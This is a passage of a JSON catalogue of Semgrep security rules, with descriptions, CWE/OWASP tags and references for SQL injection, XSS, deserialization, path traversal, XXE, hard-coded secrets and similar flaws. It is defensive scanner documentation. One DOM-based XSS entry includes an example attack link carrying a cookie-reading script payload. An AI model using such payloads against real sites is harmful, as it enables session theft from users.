(HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","id":"kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","name":"kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.ponyorm-django.ponyorm-django)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.ponyorm-django.ponyorm-django","id":"python.django.db.ponyorm-django.ponyorm-django","name":"python.django.db.ponyorm-django.ponyorm-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.ponyorm-django.ponyorm-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.xss.ktor-request-xss.ktor-request-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","id":"kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","name":"kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.xss.ktor-request-xss.ktor-request-xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed."},"help":{"markdown":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation)\n - [https://twitter.com/peckshield/status/1510232640338608131](https://twitter.com/peckshield/status/1510232640338608131)\n - [https://twitter.com/FrankResearcher/status/1510239094777032713](https://twitter.com/FrankResearcher/status/1510239094777032713)\n - [https://twitter.com/larry0x/status/1510263618180464644](https://twitter.com/larry0x/status/1510263618180464644)\n - [https://andrecronje.medium.com/keep3r-network-on-chain-oracle-price-feeds-3c67ed002a9](https://andrecronje.medium.com/keep3r-network-on-chain-oracle-price-feeds-3c67ed002a9)\n - [https://etherscan.io/address/0x210ac53b27f16e20a9aa7d16260f84693390258f](https://etherscan.io/address/0x210ac53b27f16e20a9aa7d16260f84693390258f)\n","text":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed."},"helpUri":"https://semgrep.dev/r/solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","id":"solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","name":"solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ELB has no logging. Missing logs can cause missing important event information."},"help":{"markdown":"ELB has no logging. Missing logs can cause missing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"ELB has no logging. Missing logs can cause missing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","id":"terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","name":"terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","id":"python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","name":"python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust)\n - [https://angular.io/api/router/ActivatedRoute](https://angular.io/api/router/ActivatedRoute)\n - [https://angular.io/api/router/ActivatedRouteSnapshot](https://angular.io/api/router/ActivatedRouteSnapshot)\n - [https://angular.io/api/platform-browser/DomSanitizer](https://angular.io/api/platform-browser/DomSanitizer)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"helpUri":"https://semgrep.dev/r/typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","id":"typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","name":"typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL."},"help":{"markdown":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss)\n - [https://owasp.org/www-community/attacks/DOM_Based_XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS)\n","text":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss","id":"javascript.browser.security.dom-based-xss.dom-based-xss","name":"javascript.browser.security.dom-based-xss.dom-based-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.dom-based-xss.dom-based-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended."},"help":{"markdown":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request)\n - [https://cwe.mitre.org/data/definitions/95.html](https://cwe.mitre.org/data/definitions/95.html)\n","text":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","id":"java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","name":"java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.sqlx-taint.sqlx-taint","id":"rust.rocket.sql.sqlx-taint.sqlx-taint","name":"rust.rocket.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information."},"help":{"markdown":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.use-tls.use-tls)\n - [https://golang.org/pkg/net/http/#ListenAndServeTLS](https://golang.org/pkg/net/http/#ListenAndServeTLS)\n","text":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.use-tls.use-tls","id":"go.lang.security.audit.net.use-tls.use-tls","name":"go.lang.security.audit.net.use-tls.use-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.use-tls.use-tls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","id":"rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","name":"rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else."},"help":{"markdown":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-file-permissions.insecure-file-permissions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","id":"python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","name":"python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-file-permissions.insecure-file-permissions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","id":"python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","name":"python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.sqlite-express.sqlite-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.sqlite-express.sqlite-express","id":"javascript.express.db.sqlite-express.sqlite-express","name":"javascript.express.db.sqlite-express.sqlite-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.sqlite-express.sqlite-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with 